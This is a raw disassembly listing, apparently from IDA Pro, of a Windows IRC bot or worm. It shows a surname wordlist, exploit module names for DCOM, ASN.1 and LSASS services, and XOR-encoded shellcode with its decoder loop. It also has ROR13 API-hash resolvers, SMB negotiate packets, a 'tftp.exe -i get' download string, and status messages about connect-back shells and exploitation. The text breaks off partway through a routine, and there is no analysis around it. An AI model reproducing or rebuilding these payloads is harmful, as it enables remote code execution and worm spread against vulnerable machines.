aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DA80o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DA7Co
		align 10h
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DA78o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DA74o
		align 10h
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DA70o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DA6Co
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DA68o
		align 10h
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DA64o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DA60o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DA5Co
aBady		db 'Bady',0             ; DATA XREF: ___:0042DA58o
		align 10h
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DA54o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DA50o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DA4Co
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DA48o
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DA44o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DA40o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DA3Co
		align 10h
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DA38o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DA34o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DA30o
		align 10h
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DA2Co
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DA28o
		align 10h
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DA24o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DA20o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DA1Co
		align 10h
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DA18o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DA14o
		align 10h
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DA10o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DA0Co
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DA08o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DA04o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DA00o
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D9FCo
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D9F8o
		align 10h
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D9F4o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D9F0o
		align 10h
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D9ECo
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D9E8o
		align 10h
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D9E4o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D9E0o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D9DCo
		align 10h
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D9D8o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D9D4o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D9D0o
		align 10h
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D9CCo
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D9C8o
		align 10h
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D9C4o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D9C0o
		align 10h
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D9BCo
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D9B8o
		align 10h
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D9B4o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D9B0o
		align 10h
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D9ACo
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D9A8o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D9A4o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D9A0o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D99Co
		align 4
byte_4315F4	db 50h			; DATA XREF: ___:0040ABE6o
					; ___:0040ABF3r
		db 43h,	2 dup(0)
dword_4315F8	dd 7C7325h		; DATA XREF: ___:0040AC91o
dword_4315FC	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AD9Bo
dword_431604	dd 3F3F3Fh		; DATA XREF: ___:loc_40AD92o
					; sub_41AF8F:loc_41B052o
dword_431608	dd 334B32h		; DATA XREF: ___:0040AD8Bo
dword_43160C	dd 5058h		; DATA XREF: ___:0040AD7Do
					; ___:0040AF89o ...
dword_431610	dd 4B32h		; DATA XREF: ___:0040AD6Do
					; ___:0040AF79o ...
dword_431614	dd 454Dh		; DATA XREF: ___:0040AD54o
					; ___:0040AF60o ...
dword_431618	dd 3839h		; DATA XREF: ___:0040AD44o
					; ___:0040AF50o ...
dword_43161C	dd 544Eh		; DATA XREF: ___:0040AD34o
					; ___:0040AF41o ...
dword_431620	dd 3539h		; DATA XREF: ___:0040AD26o
					; ___:0040AF33o ...
dword_431624	dd 5D64255Bh, 7325h	; DATA XREF: sub_40ADE1+3Ao
off_43162C	dd offset byte_5D4D5B	; DATA XREF: sub_40ADE1+2Co
					; sub_40ADE1+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40ADE1+18o
					; sub_41875E+5o
		align 4
aSSSS		db '%s|%s|%s|%s|',0     ; DATA XREF: ___:0040B0D6o
		align 4
a99		db '99',0               ; DATA XREF: ___:loc_40B098o
		align 4
a0D		db '0%d',0              ; DATA XREF: ___:0040B072o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: ___:0040B054o
					; sub_41ADD8+52o
off_43165C	dd offset byte_4B4E55	; DATA XREF: ___:0040B037o
dword_431660	dd 345053h		; DATA XREF: ___:0040B02Do
dword_431664	dd 34h			; DATA XREF: ___:0040B021o
dword_431668	dd 335053h		; DATA XREF: ___:0040B014o
dword_43166C	dd 33h			; DATA XREF: ___:0040B003o
dword_431670	dd 325053h		; DATA XREF: ___:0040AFF6o
dword_431674	dd 32h			; DATA XREF: ___:0040AFE5o

; =============== S U B	R O U T	I N E =======================================



sub_431678	proc near		; DATA XREF: ___:0040AFD8o
		push	ebx
		push	eax
		xor	[eax], eax
sub_431678	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_43167C	dd 305053h		; DATA XREF: ___:0040AFBAo
dword_431680	dd 4E55h		; DATA XREF: ___:loc_40AF9Eo
dword_431684	dd 3332h		; DATA XREF: ___:0040AF97o
; ---------------------------------------------------------------------------


loc_431688:				; DATA XREF: sub_40B2B3+C4o
		jmp	short loc_43168C
; ---------------------------------------------------------------------------


loc_43168A:				; CODE XREF: ___:loc_43168Cp
		jmp	short loc_431691
; ---------------------------------------------------------------------------


loc_43168C:				; CODE XREF: ___:loc_431688j
		call	loc_43168A


loc_431691:				; CODE XREF: ___:loc_43168Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_431696	dw 0FFFFh		; DATA XREF: sub_40B2B3+CCw
		db 80h,	73h, 0Eh
byte_43169B	db 0FFh			; DATA XREF: sub_40B2B3+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_4316A0:				; DATA XREF: sub_40B2B3+A2o
		jmp	short loc_4316A4
; ---------------------------------------------------------------------------


loc_4316A2:				; CODE XREF: ___:loc_4316A4p
		jmp	short loc_4316A9
; ---------------------------------------------------------------------------


loc_4316A4:				; CODE XREF: ___:loc_4316A0j
		call	loc_4316A2


loc_4316A9:				; CODE XREF: ___:loc_4316A2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_4316AD	db 0FFh			; DATA XREF: sub_40B2B3+AAw
		dw 7380h
		db 0Ch
byte_4316B1	db 0FFh			; DATA XREF: sub_40B2B3+B0w
		dw 0E243h
		dd 0F9h
dword_4316B8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B13C+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43171C	dd 12h			; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0		db 'j',0
		db 0E8h
dword_431735	dd 17h			; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43173C
		retn
; ---------------------------------------------------------------------------
byte_43173C	db 0E8h			; CODE XREF: ___:00431739j
dword_43173D	dd 1			; DATA XREF: sub_40B13C+45w
byte_431741	db 0, 6Ah, 0		; DATA XREF: sub_40B13C+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43174B	dd 0FFFFFFEDh		; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C3E8+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BA9E+30o
					; ___:0040E229o ...
		align 4
		dd 5 dup(0)
dword_4317F8	dd 0B97h		; DATA XREF: sub_401ACD+1D42r
					; sub_401ACD+1D6Ao ...
off_4317FC	dd offset sub_40EAE9	; DATA XREF: sub_40C3E8+1EAr
dword_431800	dd 0			; DATA XREF: sub_40B90E+2Eo
					; ___:0040D759w ...
dword_431804	dd 1			; DATA XREF: sub_40BD91+1Fr
dword_431808	dd 1			; DATA XREF: sub_40BD91+3B3r
dword_43180C	dd 0			; DATA XREF: sub_40BD91+292r
aDcom135	db 'dcom135',0
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
		dd 87h,	40DF4Ch, 0
		dd 1, 2	dup(0)
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40EC1Fh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D59Dh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D59Dh, 0
		dd 2 dup(1), 0
aVncs		db 'vncs',0
		align 4
		dd 54480000h, 562D5054h, 434Eh,	5 dup(0)
		dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 40E830h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4319DA	db 1			; DATA XREF: sub_401ACD:loc_403789r
					; sub_401ACD+1CC6o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431A06

; =============== S U B	R O U T	I N E =======================================



sub_4319F6	proc near		; CODE XREF: sub_4319F6:loc_431A06p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_4319FE:				; CODE XREF: sub_4319F6+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4319FE
		jmp	short loc_431A0B
; ---------------------------------------------------------------------------


loc_431A06:				; CODE XREF: ___:004319F4j
		call	sub_4319F6


loc_431A0B:				; CODE XREF: sub_4319F6+Ej
		jo	short near ptr dword_431994+12h
		cwde
		cdq
		cdq
		retn
sub_4319F6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
		align 4
dword_431B88	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B90E+46o
unk_431B94	db  2Dh	; -		; DATA XREF: sub_40B90E+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431BB4	db  2Dh	; -		; DATA XREF: sub_40B9DD+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431BFC	db  2Dh	; -		; DATA XREF: sub_40BA49+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BA9E+7Fo
dword_431C38	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C48	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40BA9E+14o
		dd 7473694Ch, 3Ah
unk_431C64	db  2Dh	; -		; DATA XREF: ___:0040BCD7o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431C98	db  2Dh	; -		; DATA XREF: ___:0040BBE5o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_431CC8	db  2Dh	; -		; DATA XREF: sub_40BD1A+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_431CE8	db  2Dh	; -		; DATA XREF: sub_40BD1A+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431D04	db  2Dh	; -		; DATA XREF: sub_40BD91+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_30	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431D38	db  2Dh	; -		; DATA XREF: sub_40BD91+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_31	db '- Failed to start server, error: <%d>.',0
unk_431D70	db  2Dh	; -		; DATA XREF: sub_40BD91+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_431DA0	db  2Dh	; -		; DATA XREF: sub_40BD91+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_32	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431DD4	db  2Dh	; -		; DATA XREF: sub_40BD91+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431E08	db  2Dh	; -		; DATA XREF: sub_40BD91+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431E3C	db  2Dh	; -		; DATA XREF: sub_40C3E8+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431E64	db  2Dh	; -		; DATA XREF: sub_40C3E8+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431E9C	db  2Dh	; -		; DATA XREF: sub_40C3E8+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431EDC	db  2Dh	; -		; DATA XREF: sub_40C3E8+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431F14	db  2Dh	; -		; DATA XREF: sub_40C3E8+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F48	db  2Dh	; -		; DATA XREF: sub_40C3E8+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431F7C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C85F+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CD9E+B2o
		align 10h
dword_432030	dd 10FF8h, 0		; DATA XREF: sub_40CD9E+6Ao
dword_432038	dd 10FF8h		; DATA XREF: sub_40CD9E+79o
dword_43203C	dd 7FFDF020h, 0		; DATA XREF: sub_40CD9E+162o
dword_432044	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D1C8+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320CC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D1C8+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4320FC	dd 0			; DATA XREF: sub_40D1C8+44o
		dd 800000D4h, 0
unk_432108	db  81h	; 		; DATA XREF: sub_40D2A2+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_432154	db 41h			; DATA XREF: sub_40D340+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_432198	proc near		; DATA XREF: ___:0040D61Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_432294
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4322AA
		mov	[esi+8], eax
		call	sub_43225D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4322AA
		mov	[esi+0Ch], eax
		call	sub_43220F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4322AA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_432198	endp


; =============== S U B	R O U T	I N E =======================================



sub_43220F	proc near		; CODE XREF: sub_432198+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432238
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_43220F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432238	proc near		; CODE XREF: sub_43220F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_432247:				; CODE XREF: sub_432238+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_432254
		inc	ebx
		jmp	short loc_432247
; ---------------------------------------------------------------------------


loc_432254:				; CODE XREF: sub_432238+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432238	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43225D	proc near		; CODE XREF: sub_432198+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_432275:				; CODE XREF: sub_43225D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43227D
		mov	ecx, [ecx]
		jmp	short loc_432275
; ---------------------------------------------------------------------------


loc_43227D:				; CODE XREF: sub_43225D+1Aj
		mov	edx, edi


loc_43227F:				; CODE XREF: sub_43225D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432289
		mov	edx, [edx+4]
		jmp	short loc_43227F
; ---------------------------------------------------------------------------


loc_432289:				; CODE XREF: sub_43225D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43225D	endp


; =============== S U B	R O U T	I N E =======================================



sub_432294	proc near		; CODE XREF: sub_432198+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_432294	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322AA	proc near		; CODE XREF: sub_432198+16p
					; sub_432198+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4322C0:				; CODE XREF: sub_4322AA+33j
		jecxz	short loc_4322FA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4322CD:				; CODE XREF: sub_4322AA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4322D9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4322CD
; ---------------------------------------------------------------------------


loc_4322D9:				; CODE XREF: sub_4322AA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4322C0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4322FA:				; CODE XREF: sub_4322AA:loc_4322C0j
					; sub_4322AA:loc_4322FAj
		jmp	short loc_4322FA
sub_4322AA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_432300	proc near		; DATA XREF: ___:0040D5CDo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_432352
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_43231D:				; CODE XREF: sub_432300+38j
		jecxz	short loc_43234D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432328:				; CODE XREF: sub_432300+32j
		lodsb
		test	al, al
		jz	short loc_432334
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432328
; ---------------------------------------------------------------------------


loc_432334:				; CODE XREF: sub_432300+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_43231D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_43234D:				; CODE XREF: sub_432300:loc_43231Dj
